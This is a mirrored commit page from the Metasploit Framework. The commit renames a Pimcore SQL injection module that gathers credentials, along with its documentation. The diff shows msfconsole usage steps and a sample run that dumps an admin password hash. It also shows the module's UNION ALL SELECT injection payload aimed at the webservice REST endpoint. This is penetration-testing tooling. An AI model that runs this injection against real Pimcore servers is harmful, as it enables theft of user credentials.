infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

renamed/relocated files, changed uri

GSoC/Meterpreter_Web_Console
Shelby Pace 2018-09-19 08:11:45 -05:00
parent 0c842b852b
commit b6ca8cac7f
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
2 changed files with 6 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
documentation/modules/auxiliary/sqli/oracle/pimcore_list_creds.md → documentation/modules/auxiliary/gather/pimcore_creds_sqli.md
View File

@ -16,7 +16,7 @@
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/sqli/oracle/pimcore_list_creds`
3. Do: `use auxiliary/gather/pimcore_creds_sqli`
4. Do: `set RHOSTS [IP]`
5. Do: `set TARGETURI [URI]`
6. Do: `set APIKEY [KEY]`
@ -34,12 +34,12 @@
### Tested on Ubuntu 18.04.1 Running Pimcore v5.2.3
```
msf5 > use auxiliary/sqli/oracle/pimcore_list_creds
msf5 auxiliary(sqli/oracle/pimcore_list_creds) > set rhosts 192.168.37.246
msf5 > use auxiliary/gather/pimcore_creds_sqli
msf5 auxiliary(gather/pimcore_creds_sqli) > set rhosts 192.168.37.246
rhosts => 192.168.37.246
msf5 auxiliary(sqli/oracle/pimcore_list_creds) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
msf5 auxiliary(gather/pimcore_creds_sqli) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
apikey => 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
msf5 auxiliary(sqli/oracle/pimcore_list_creds) > run
msf5 auxiliary(gather/pimcore_creds_sqli) > run
[+] Credentials obtained:
[+] admin : $2y$10$sBaD3EOAm/i1F3Mm/fwseeq3nyoacdlUt4NkVLZUgJ4FTReJSKIbe

4
modules/auxiliary/sqli/oracle/pimcore_list_creds.rb → modules/auxiliary/gather/pimcore_creds_sqli.rb
View File

@ -5,7 +5,6 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
@ -42,8 +41,7 @@ class MetasploitModule < Msf::Auxiliary
end
def get_creds
api_uri = "/webservice/rest/object-inquire"
api_uri = normalize_uri(target_uri.path, api_uri)
api_uri = normalize_uri(target_uri.path, "/webservice/rest/object-inquire")
cmd = "#{rand(256)}) UNION ALL SELECT CONCAT(name,\" \",password) from users#"
res = send_request_cgi(